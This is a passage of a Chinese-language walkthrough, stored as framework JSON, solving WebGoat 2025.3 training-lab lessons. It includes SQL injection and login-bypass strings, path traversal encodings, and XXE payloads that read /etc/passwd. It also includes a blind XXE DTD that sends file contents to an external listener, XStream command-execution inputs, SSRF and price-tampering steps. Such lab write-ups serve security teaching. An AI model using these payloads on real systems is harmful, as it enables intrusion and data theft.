",[158,1290,1291],{"code":1291},"xxx.130.219.202","）：\n",[150,1294,1297],{"className":1295,"code":1296,"language":802},[800],"\u002FWebGoat\u002FSqlInjectionMitigations\u002Fservers?column=(case%20when%20(substring((select%20ip%20from%20servers%20where%20hostname=%27webgoat-prd%27),§1§,1)=§2§)%20then%20hostname%20else%20id%20end)\n",[158,1298,1296],{"__ignoreMap":156},"\n变量 1：位置 1~15；变量 2：",[158,1301,1302],{"code":1302},"0~9","。响应按 hostname 排序的即为命中。答案：",[146,1305,1306],{},[158,1307,1308],{"code":1308},"104.130.219.202",[286,1310,1312],{"id":1311},"path-traversal路径遍历","Path Traversal（路径遍历）",[127,1314,1315,1324,1344,1356],{},[17,1316,1317,1319,1320,1323],{},[146,1318,296],{},"：上传任意文件，响应回显完整路径。直接在上传文件名里加 ",[158,1321,1322],{"code":1322},"..\u002F"," 即可穿越目录。",[17,1325,1326,1328,1329,1331,1332,190,1334,1337,1338,331,1341,586],{},[146,1327,669],{},"：过滤了 ",[158,1330,1322],{"code":1322}," → ",[146,1333,1269],{},[158,1335,1336],{"code":1336},"..\u002F.\u002Ftest","（或 ",[158,1339,1340],{"code":1340},"....\u002F\u002F",[158,1342,1343],{"code":1343},"..\u002F\u002F",[17,1345,1346,1348,1349,1352,1353,274],{},[146,1347,412],{},"：服务端不再采用页面提交的文件名，而是抓包直接",[146,1350,1351],{},"修改请求中的文件名字段","为 ",[158,1354,1355],{"code":1355},"..\u002Fxxx",[17,1357,1358,1360,1361,1364,1365,1368,1369,1372,1373,307,1376,1382,1383,1386,1387,1390],{},[146,1359,455],{},"：图片请求带 ",[158,1362,1363],{"code":1363},"id=3"," 参数，服务端会拼 ",[158,1366,1367],{"code":1367},".jpg"," 后缀。尝试 ",[158,1370,1371],{"code":1371},"id=..\u002Fpath-traversal-secret"," 报非法字符 → ",[146,1374,1375],{},"URL 编码绕过",[150,1377,1380],{"className":1378,"code":1379,"language":802},[800],"id=%2e%2e%2fpath-traversal-secret        （400，还在上层）\nid=%2e%2e%2f%2e%2e%2fpath-traversal-secret  （成功）\n",[158,1381,1379],{"__ignoreMap":156},"\n文件内容是一个用户名（如 Tom），把",[146,1384,1385],{},"该用户名做 SHA-512 哈希","后提交（可以用 ",[158,1388,1389],{"code":1389},"echo -n \"Tom\" | sha512sum"," 或在线工具）。",[115,1392],{},[122,1394,81],{"id":1395},"a5-security-misconfiguration-安全配置错误",[286,1397,1399],{"id":1398},"xml-external-entities-xxexxe-外部实体注入","XML External Entities (XXE)（XXE 外部实体注入）",[127,1401,1402,1421,1427,1467],{},[17,1403,1404,1407,1408,1416,1417,1420],{},[146,1405,1406],{},"Task 4-7（常规 XXE 读文件）","：提交评论时抓包，发现请求体是 XML。把内容替换为带外部实体的 DTD：\n",[150,1409,1414],{"className":1410,"code":1412,"language":1413,"meta":156},[1411],"language-xml","\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE comment [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Ccomment>\u003Ctext>&xxe;\u003C\u002Ftext>\u003C\u002Fcomment>\n","xml",[158,1415,1412],{"__ignoreMap":156},"\nWindows 上读目录用 ",[158,1418,1419],{"code":1419},"file:\u002F\u002F\u002FC:\u002F","（或 WebGoat 安装目录），响应会把文件\u002F目录内容渲染出来。",[17,1422,1423,1426],{},[146,1424,1425],{},"Task 8-10（理论）","：billion laughs 实体膨胀 DDoS；盲 XXE。",[17,1428,1429,1432,1433,1436,1437],{},[146,1430,1431],{},"Task 11（盲 XXE 外带文件）","：读服务器上某目录的 ",[158,1434,1435],{"code":1435},"secret.txt"," 并外带到 WebWolf：\n",[14,1438,1439,1451,1460],{},[17,1440,1441,1442,1292,1445],{},"在 WebWolf 上传一个恶意 DTD（",[158,1443,1444],{"code":1444},"xxe1.dtd",[150,1446,1449],{"className":1447,"code":1448,"language":1413,"meta":156},[1411],"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002F\u003C服务器上secret文件的完整路径>\">\n\u003C!ENTITY % write \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002F127.0.0.1:9090\u002Flanding?text=%file;'>\">\n",[158,1450,1448],{"__ignoreMap":156},[17,1452,1453,1454],{},"在 WebGoat 评论处提交：\n",[150,1455,1458],{"className":1456,"code":1457,"language":1413,"meta":156},[1411],"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE comment [\n  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002F\u003C你的IP>:9090\u002Ffiles\u002F\u003C用户名>\u002Fxxe1.dtd\">\n  %dtd;\n  %write;\n]>\n\u003Ccomment>\u003Ctext>test\u003C\u002Ftext>\u003C\u002Fcomment>\n",[158,1459,1457],{"__ignoreMap":156},[17,1461,1462,1463,1466],{},"去 WebWolf 的 Requests 页面查看：URL 参数 ",[158,1464,1465],{"code":1465},"text="," 后面就是文件内容，把内容（%20 替换为空格）填入提交。",[17,1468,1469,1472],{},[146,1470,1471],{},"Task 12（防御）","：禁用 DTD \u002F 外部实体（理论）。",[286,1474,1476],{"id":1475},"vulnerable-components漏洞组件","Vulnerable Components（漏洞组件）",[127,1478,1479,1492],{},[17,1480,1481,1484,1485,1491],{},[146,1482,1483],{},"Task（XStream 反序列化 CVE-2013-7285）","：输入框接受 XML，直接提交：\n",[150,1486,1489],{"className":1487,"code":1488,"language":1413,"meta":156},[1411],"\u003Ccontact>123456789\u003C\u002Fcontact>\n",[158,1490,1488],{"__ignoreMap":156},"\n添加一个联系人即可（组件版本存在 RCE 漏洞）。",[17,1493,1494,1497,1498],{},[146,1495,1496],{},"Task（代码执行）","：部分版本可通过反序列化执行命令（Windows）：\n",[150,1499,1502],{"className":1500,"code":1501,"language":802},[800],"foo java.lang.Comparable ipconfig start\nfoo java.lang.Comparable calc start\n",[158,1503,1501],{"__ignoreMap":156},[115,1505],{},[122,1507,87],{"id":1508},"a10-server-side-request-forgeryssrf-服务端请求伪造",[127,1510,1511,1526,1541],{},[17,1512,1513,1515,1516,1519,1520,1525],{},[146,1514,296],{},"：页面按钮获取 Tom 的图片，抓包发现 URL 参数（如 ",[158,1517,1518],{"code":1518},"url=...Tom...","），改成 ",[146,1521,1522],{},[158,1523,1524],{"code":1524},"jerry"," 重放，返回 Jerry 的信息。",[17,1527,1528,1530,1531,1534,1535,1540],{},[146,1529,669],{},"：抓包把 ",[158,1532,1533],{"code":1533},"images"," 参数的值改成 ",[146,1536,1537],{},[158,1538,1539],{"code":1539},"http:\u002F\u002Fifconfig.pro","，点击 Go，页面显示服务器本机 IP 等配置信息（内网\u002F外网探测）。",[17,1542,1543,1545],{},[146,1544,412],{},"：防御理论（白名单校验协议、域名、拒绝用户输入）。",[115,1547],{},[122,1549,93],{"id":1550},"client-side-客户端侧",[286,1552,1554],{"id":1553},"bypass-front-end-restrictions绕过前端限制","Bypass front-end restrictions（绕过前端限制）",[127,1556,1557,1566],{},[17,1558,1559,1561,1562,1565],{},[146,1560,296],{},"：提交表单抓包，把各参数值随意改动后重放，服务端",[146,1563,1564],{},"不校验","（校验只在前端）→ 说明后端缺少验证。",[17,1567,1568,1571,1572],{},[146,1569,1570],{},"Task 3（正则绕过）","：题目展示 7 个字段的前端正则（小写字母、3 位数字、邮编、电话等）。直接抓包提交不满足正则的值绕过，现成 payload：\n",[150,1573,1576],{"className":1574,"code":1575,"language":802},[800],"field1=ac&field2=1df23&field3=abc+1s,df23+ABC&field4=sesdf56ven&field5=0110sd1&field6=9021sdf0-1111&field7=301-6dfs04-4882&error=0\n",[158,1577,1575],{"__ignoreMap":156},[286,1579,1581],{"id":1580},"client-side-filtering客户端过滤","Client side filtering（客户端过滤）",[127,1583,1584,1603],{},[17,1585,1586,1588,1589,1592,1593,1596,1597,1602],{},[146,1587,296],{},"：员工薪资系统，CEO（Neville Bartholomew）的信息被前端过滤掉不展示。选择 CEO 时",[146,1590,1591],{},"根本不发请求","，说明数据在页面静态资源里 → F12 源码里搜 ",[158,1594,1595],{"code":1595},"Neville"," → 答案：",[146,1598,1599],{},[158,1600,1601],{"code":1601},"450000","（CEO 工资）。",[17,1604,1605,1607,1608,1614,1615,1620],{},[146,1606,669],{},"：优惠券接口权限设置不严，直接访问：\n",[150,1609,1612],{"className":1610,"code":1611,"language":802},[800],"http:\u002F\u002F127.0.0.1:8080\u002FWebGoat\u002FclientSideFiltering\u002Fchallenge-store\u002Fcoupons\n",[158,1613,1611],{"__ignoreMap":156},"\n返回隐藏优惠券码 ",[146,1616,1617],{},[158,1618,1619],{"code":1619},"get_it_for_free","，填入后买手机过关。",[286,1622,1624],{"id":1623},"html-tamperinghtml-篡改","HTML tampering（HTML 篡改）",[127,1626,1627,1639],{},[17,1628,1629,1631,1632,1638],{},[146,1630,296],{},"：电视 2999 元太贵。点 checkout 抓包，把请求中的",[146,1633,1634,1635],{},"单价参数改为 ",[158,1636,1637],{"code":1637},"1"," 重放，1 块钱买下 → 过关。",[17,1640,1641,1643],{},[146,1642,669],{},"：防御理论（服务端必须重新校验金额）。",[115,1645],{},[122,1647,1649],{"id":1648},"challenge挑战关","Challenge（挑战关）",[161,1651,1652],{},[143,1653,1654,1655,274],{},"挑战关的 flag 每次部署随机，以下 flag 仅示例，",[146,1656,1657],{},"方法与思路不变",[122,1659,107],{"id":1660},"admin-lost-password",[127,1662,1663,1666,1684],{},[17,1664,1665],{},"页面要求爆破 admin 密码，但直接爆破不现实。",[17,1667,1668,1669,1672,1673,1678,1679,274],{},"页面有一张显眼图片，F12 查看图片地址为 ",[158,1670,1671],{"code":1671},"\u002FWebGoat\u002Fchallenge\u002Flogo","，下载后",[146,1674,1675,1676],{},"用记事本打开，Ctrl+F 搜 ",[158,1677,766],{"code":766},"，发现硬编码密码 ",[146,1680,1681],{},[158,1682,1683],{"code":1683},"!!webgoat_admin_8702!!",[17,1685,1686,1687,586],{},"用它登录拿到 flag（如 ",[158,1688,1689],{"code":1689},"f4086c48-5859-44e3-99c1-165b31d10304",[122,1691,113],{"id":1692},"without-password",[127,1694,1695],{},[17,1696,1697,1698,1701,1702,1708,1709,1712,1713,586],{},"用户名填 ",[158,1699,1700],{"code":1700},"Larry","，密码填：\n",[150,1703,1706],{"className":1704,"code":1705,"language":802},[800],"or true --\n",[158,1707,1705],{"__ignoreMap":156},"\n抓包可见密码被直接拼进 SQL 查询（无引号包裹），",[158,1710,1711],{"code":1711},"or true --"," 恒真绕过。flag（如 ",[158,1714,1715],{"code":1715},"203f882f-...",[115,1717],{},{"title":156,"searchDepth":524,"depth":524,"links":1719},[1720,1721,1726],{"id":12,"depth":482,"text":12},{"id":119,"depth":482,"text":120,"children":1722},[1723,1724,1725],{"id":124,"depth":503,"text":125},{"id":140,"depth":503,"text":141},{"id":225,"depth":503,"text":226},{"id":279,"depth":482,"text":280,"children":1727},[1728,1734,1740,1743,1749,1753,1754,1759,1760,1761],{"id":283,"depth":503,"text":284,"children":1729},[1730,1731,1732,1733],{"id":288,"depth":524,"text":289},{"id":357,"depth":524,"text":358},{"id":404,"depth":524,"text":405},{"id":444,"depth":524,"text":445},{"id":548,"depth":503,"text":63,"children":1735},[1736,1737,1738,1739],{"id":551,"depth":524,"text":552},{"id":648,"depth":524,"text":649},{"id":725,"depth":524,"text":726},{"id":777,"depth":524,"text":778},{"id":859,"depth":503,"text":69,"children":1741},[1742],{"id":862,"depth":524,"text":863},{"id":942,"depth":503,"text":75,"children":1744},[1745,1746,1747,1748],{"id":945,"depth":524,"text":946},{"id":1089,"depth":524,"text":1090},{"id":1200,"depth":524,"text":1201},{"id":1311,"depth":524,"text":1312},{"id":1395,"depth":503,"text":81,"children":1750},[1751,1752],{"id":1398,"depth":524,"text":1399},{"id":1475,"depth":524,"text":1476},{"id":1508,"depth":503,"text":87},{"id":1550,"depth":503,"text":93,"children":1755},[1756,1757,1758],{"id":1553,"depth":524,"text":1554},{"id":1580,"depth":524,"text":1581},{"id":1623,"depth":524,"text":1624},{"id":1648,"depth":503,"text":1649},{"id":1660,"depth":503,"text":107},{"id":1692,"depth":503,"text":113},[1763],"Practice","2026-08-05","记录 WebGoat 2025.3 靶场环境搭建、代理配置和部分课程通关思路。",false,"md",null,{"slots":1770},{},true,"\u002Fwebgoat-2025-3-通关教程",{"text":1774,"minutes":1775,"time":1776,"words":1777},"18 min read",17.555,1053300,3511,{"title":5,"description":1765},{"loc":1772},"posts\u002F2026\u002Fwebgoat-2025-3-通关教程",[1782,1783,1784,1785],"WebGoat","Web","Security","Writeup","tech","DpI-n6y30rV8nPUxtJ0Ex4K39p77jmTBYdXY61T5qb4",[1768,1768],1786294717517]